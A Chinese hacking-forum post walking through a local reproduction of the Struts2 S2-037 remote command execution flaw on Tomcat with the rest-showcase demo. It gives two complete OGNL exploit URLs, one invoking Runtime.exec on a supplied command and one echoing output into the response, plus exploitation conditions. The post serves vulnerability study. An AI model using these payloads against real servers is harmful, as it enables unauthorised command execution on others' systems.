黑帽联盟

 找回密码
 会员注册
查看: 1500|回复: 0
打印 上一主题 下一主题

[系统安全] Struts2 037远程命令执行漏洞初步分析

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    关于struts2漏洞,今天过来本地复现了一下,在这里说一下自己的分析结果(如果觉得我说错了还请指出)

    struts2介绍就不介绍了,个人感觉作为一个框架struts2是非常牛逼的,虽然现在出了很多安全问题

    本地复现条件:
    java JDK 1.7
    Tomcat 7.0(如果你实在懒得去下载我也给你提供一个地址吧,专为懒人提供:http://tomcat.apache.org/download-70.cgi)根据你电脑位数下载对应的程序就好了(32-bit Windows zip (pgp, md5, sha1)这种的才是下载地址,tomcat不需要安装解压就能用)

    环境:windows 2003(本机有问题只能在虚拟机里面跑了)
    poc案例:官网下载的(有人说官网不提供案例,其实只是你没找到而已),这里我本地提供一个案例下载地址:struts2-rest-showcase
    struts2_8-300x174.png

    部署步骤:(也是为懒人提供,如果你不会部署那么还怎么研究这个exp?)
    第一步:安装javajdk(不会的百度)

    第二步:下载tomcat,随便解压到一个文件夹里面(最好不要带中文,如果发现tomcat一闪而过那么你需要配置一下tomcat的环境变量,具体的配置百度一下就几句话)

    第三步:下载poc案例放到tomcat的apps文件夹里面(不懂看下面的图片)
    struts2_-300x218.png

    第四步:启动tomcat(看图说明,配置也不需要你改默认端口是8080)
    struts2_2-300x256.png

    第五步:等待tomcat启动大概需要5  6秒的样子吧,然后访问地址 http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml
    这个地址的意思是:本地ip:端口/项目的名称/项目文件的路径
    struts2_3-300x210.png

    这里看这个demo的源码就能看的出来利用点在哪里
    struts2_6-300x196.png
    struts2_7-300x176.png

    然后poc就搭建好了,接下来就是测试exp,exp乌云很多地方都有我这里提供两枚

    第一个:(pkav的作者提供的,使用的时候访问结果是404,但是会触发漏洞)

    http://127.0.0.1:8080/struts2-rest-showcase/orders/3/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3f@java.lang.Runtime@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc
    效果图如下:
    struts2_4-300x132.png

    第二个:
    来源git的一个py程序(访问不会出现404,返回结果直接显示在页面上)
    http://127.0.0.1:8080/struts2-rest- showcase/orders/3/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3F((%23writ%3D(%23attr%5B%23parameters.com%5B0%5D%5D).getWriter())%2C%23writ.println(3345*2356))%3Aindex.xhtml?com=com.opensymphony.xwork2.dispatcher.HttpServletResponse
    效果图如下:
    struts2_5-300x147.png

    最后分析一下利用方式:归根到底这个漏洞触发是在method的拦截上面的那么利用条件:
    1:启用动态调用方法为true
    2:网站里面必须使用/xxx/Mthod这种方式调用方法  method就是具体要执行的方法
    3:利用条件你得知道这个method的名称(或者说在哪里调用了你得知道)

    所有总的来说这个漏洞威力是挺大的,但是利用起来可能没有 016,019那么方便,那两个漏洞是直接触发在拦截器上面的,所以只要访问就能触发
    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部